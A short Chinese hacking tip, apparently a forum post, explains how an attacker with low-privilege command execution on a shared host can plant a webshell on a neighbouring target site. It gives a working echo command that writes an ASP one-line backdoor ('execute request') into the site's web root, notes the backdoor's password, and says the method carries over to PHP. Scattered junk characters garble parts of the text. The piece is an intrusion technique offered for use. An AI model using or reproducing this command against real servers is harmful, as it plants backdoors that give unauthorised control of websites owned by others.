旁注cmd低权限下拿webshell

admin

在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。

命令格式
* Y: d; C- W9 ~
5 e+ r3 m7 w: C8 M% q& u* U0 oEcho 语句 >目标站绝对目录
; x% s; C; a7 [" h5 M
5 K; g9 h$ p9 }" }' e$ k例如：

4 s* R: y9 ~4 F' B2 Oecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp

这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
0 ]3 z9 j% B7 T8 |0 o  [